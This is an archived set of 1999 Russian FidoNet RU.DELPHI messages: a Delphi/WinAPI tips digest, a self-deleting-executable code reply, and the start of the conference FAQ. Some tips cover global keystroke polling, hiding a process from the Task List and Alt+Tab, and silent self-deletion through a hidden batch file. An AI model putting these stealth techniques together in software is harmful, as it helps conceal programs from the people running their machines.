(непрямоугольную) форму? 9. Как создать файлы с уникальными именами? 10.Как программно переключать раскладку клавиатуры? 11.Как сделать невидимой главную форму? 12.Как запустить создание письма по указанному адресу? 13.Как запустить браузер по http-адресу? 14.Как рисовать прямо на экране? 15.Как увеличить в RichEdit размер редактируемого файла? 16.В каком порядке происходят события при создании и показе окна? 17.Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали? Часть 2: -------- 1. Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно? 2. Как использовать анимированные курсоры в программе? 3. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? 4. Как выключить/включить звуковое оповещение Windows через PC Speaker? 5. Как скопировать файл? 6. Как инсталлировать на время работы программы свои шрифты? 7. Как узнать текущее разрешение экрана? 8. Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? 9. Как программно создать ярлык? 10.Как перетаскивать форму не только за Caption, но и за любое другое место? Часть 3: -------- 1. Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке? 2. Как быстро выводить графику? (А то Canvas очень медленно работает). 3. Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает? 4. Как сохранить содержимое экрана в файл? 5. Как пеpемещать фоpму за Label? 6. Как определить, есть ли в системе Wave-устройство? 7. Как определить из под какой операционной системы запущена программа? --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 158 of 341 - 140 + 173 From : Nick Slepchenko 2:5064/12 30 May 99 09:38:00 To : All Subj : [02/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 1) ======================================================================== ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 159 of 341 - 141 + 174 From : Nick Slepchenko 2:5064/12 30 May 99 09:38:00 To : All Subj : [03/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 2) ======================================================================== ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить звуковое оповещение Windows через PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ > Как перетаскивать форму не только за Caption, но и за любое другое место? ........................................................ TForm1 = class(TForm) ... private ... procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; ... end; ... procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { вызов унаследованного обpаботчика } if M.Result = htClient then { Мышь сидит на окне? } M.Result := htCaption; { Если да - то пусть Windows думает, что } { мышь на caption bar } end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 160 of 341 - 142 + 175 From : Nick Slepchenko 2:5064/12 30 May 99 09:38:00 To : All Subj : [04/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 3) ======================================================================== ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как лучше сделать, если необходимо запустить внешний процесс и подождать, > пока он отработает? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var si:STARTUPINFO; pi:PROCESS_INFORMATION; cmdline:string; begin ZeroMemory(@si,sizeof(si)); si.cb:=SizeOf(si); cmdline:='c:\command.com'; if not CreateProcess( nil, // No module name (use command line). PChar(cmdline), // Command line. nil, // Process handle not inheritable. nil, // Thread handle not inheritable. False, // Set handle inheritance to FALSE. 0, // No creation flags. nil, // Use parent's environment block. nil, // Use parent's starting directory. si, // Pointer to STARTUPINFO structure. pi ) // Pointer to PROCESS_INFORMATION structure. then begin ShowMessage( 'CreateProcess failed.' ); Exit; end; WaitForSingleObject( pi.hProcess, INFINITE ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); ShowMessage('Done !'); end; ........................................................ ------------------------------------------------------------------------------ > Как сохранить содержимое экрана в файл? ........................................................ procedure TForm1.Button1Click(Sender: TObject); var DC: HDC; Canva: TCanvas; B: TBitmap; begin Canva := TCanvas.Create; B := TBitmap.Create; DC := GetDC(0); try Canva.Handle := DC; with Screen do begin B.Width := Width; B.Height := Height; B.Canvas.CopyRect(Rect(0, 0, Width, Height), Canva, Rect(0, 0, Width, Height)); B.SaveToFile('c:\screen.bmp'); end finally ReleaseDC(0, DC); B.Free; Canva.Free end end; ........................................................ ------------------------------------------------------------------------------ > Как пеpемещать фоpму за Label? ........................................................................ procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; Form1.perform(WM_SysCommand, SC_DragMove, 0); end; ........................................................................ ------------------------------------------------------------------------------ > Как определить, есть ли в системе Wave-устройство? ........................................................ uses MMSystem; procedure TForm1.Button1Click(Sender: TObject); begin if WaveOutGetNumDevs > 0 then ShowMessage('Sound Card is installed') else ShowMessage('Sound Card is not installed') end; ........................................................ ------------------------------------------------------------------------------ > Как определить из под какой операционной системы запущена программа? ........................................................ If (GetVersion() and $80000000)<>0 then // ...'Windows 95/98'... else // ... 'Windows NT'... end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 161 of 341 From : Sergey Anvarov 2:5012/27.204 11 Jun 99 09:12:00 To : Konstantin Polyakov Subj : Как можно в D3 сделать самоуничтожающуюся прогу ? ──────────────────────────────────────────────────────────────────────────────── Hello Konstantin! 08 Июн 99 23:23, Konstantin Polyakov wrote to Mike Semko: KP> //********************************************************* KP> // DELETE SELF deletes current exe-file after it finishes KP> // (C) 1999 Konstantin Polyakov 2:5030/542.251 KP> //********************************************************* [skip] Замечания: имя батника может конфликтовать, pодительский каталог может быть и не доступен на запись. Я бы так сделал: procedure TForm1.Button1Click(Sender: TObject); var TempPath, TempName: array[0..MAX_PATH] of Char; L: TStringList; FName: string; begin GetTempPath(SizeOf(TempPath), TempPath); GetTempFileName(TempPath, 'DEL', 0, TempName); FName := ChangeFileExt(TempName, '.BAT'); RenameFile(TempName, FName); L := TStringList.Create; try L.Append(Format( ':try'#13#10+ 'del %s'#13#10+ 'if exist %0:s goto try'#13#10+ 'del %%0', [ParamStr(0)])); L.SaveToFile(FName); WinExec(PChar(FName), SW_HIDE); finally L.Free; end; end; === Cut === Sergey --- GoldED/W32 3.00.Beta4+ * Origin: make it work first before you make it work fast (2:5012/27.204) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 162 of 341 From : zenyk@km.if.ua 2:4623/78.128 07 Jun 99 03:13:00 To : All Subj : Как заставить сканер сканировать из Delphi ? ──────────────────────────────────────────────────────────────────────────────── .RFC-From: Zenyk Mykutjuk .RFC-Organization: Precarpathian University .RFCID: 375B0EAB.1510FA6A@km.if.ua .RFC-X-Trace: serv.pu.if.ua 928725319 20033 212.1.96.15 (7 Jun 1999 03:15:19 GMT) .RFC-X-Complaints-To: usenet@serv.pu.if.ua .RFC-X-Accept-Language: en,uk,ru .REPLYADDR zenyk@km.if.ua .REPLYTO 2:4623/78.128 Sobolev Andrey wrote: > Возникла проблема. > Hужно отсканировать изображение, потом засунуть его в TImage > Как это делать ? Использовать компоненту для обработки изображений. Мне нравится TMultiImage. --- LuckyGate/DOS 6.00 * Origin: Hit_Brothers Gate (2:4623/78.128) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 163 of 341 - 152 + 190 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:32:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478780 31279 127.0.0.1 (15 Jun 1999 20:33:00 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:00 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 164 of 341 - 153 + 191 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:33:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478791 31283 127.0.0.1 (15 Jun 1999 20:33:11 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:11 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив 